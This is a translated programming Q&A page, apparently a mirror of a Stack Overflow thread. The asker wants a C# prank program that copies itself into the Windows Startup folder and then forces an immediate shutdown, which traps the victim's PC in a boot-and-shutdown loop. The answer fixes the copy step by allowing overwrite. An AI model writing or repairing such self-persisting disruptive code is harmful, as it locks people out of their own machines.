简体   繁体   English

如何在C#中正确删除并复制到文件夹?

[英]How to delete and copy to folder correctly in C#?

My co-worker and me got a little IT troll battle and I wanted to make an .exe in C# that copies itself to autostart when launched and then shuts down the PC. 我和我的同事在IT巨魔之战中有些挣扎,我想用C#制作一个.exe,将其自身复制以在启动时自动启动,然后关闭PC。 I got this to work but after a reboot I get an exception that the file already exists. 我可以使用它,但是重新启动后,我得到一个例外,该文件已经存在。 Now I tried to delete it with File.Delete(@Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Startup), fileName)); 现在我尝试使用File.Delete(@Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Startup), fileName));删除它File.Delete(@Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Startup), fileName)); but I get another exception System.IO.FileNotFoundException: that says it couldn't find "C:\\Windows\\system32\\Test.exe" (Test.exe is the program) I cant post the full error because its in german so, yea. 但是我遇到另一个异常System.IO.FileNotFoundException:那说它找不到“ C:\\ Windows \\ system32 \\ Test.exe”(Test.exe是程序),我无法发布完整错误,因为它是德语的,是的 Is there a way to just ignore the exception and overwrite it anyways? 有没有一种方法可以忽略异常并以任何方式覆盖它? Here is my full code: 这是我的完整代码:

String fileName = String.Concat(Process.GetCurrentProcess().ProcessName, ".exe");
String filePath = Path.Combine(Environment.CurrentDirectory, fileName);
File.Delete(@Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Startup), fileName));
File.Copy(filePath, Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Startup), fileName));
Process.Start("shutdown", "/s /t 0");

使用File.Copy的重写,该重写带有第三个参数进行覆盖。

File.Copy(filePath, Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Startup), fileName), true); 

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM